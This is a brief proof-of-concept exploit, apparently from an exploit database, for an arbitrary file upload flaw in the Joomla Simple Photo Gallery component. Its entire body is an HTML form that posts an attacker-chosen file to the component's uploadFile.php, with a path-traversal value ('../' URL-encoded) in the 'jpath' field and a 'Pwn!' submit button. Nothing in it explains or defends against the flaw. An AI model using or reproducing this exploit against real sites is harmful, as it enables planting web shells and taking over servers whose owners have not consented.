Joomla Simple Photo Gallery - Arbitrary File Upload Vulnerab

<form method="POST" action="http://localhost/administrator/components/com_simplephotogallery/lib/uploadFile.php" enctype="multipart/form-data" >
    <input type="file" name="uploadfile"><br>
    <input type="text" name="jpath" value="..%2F..%2F..%2F..%2F" ><br>
    <input type="submit" name="Submit" value="Pwn!">
</form>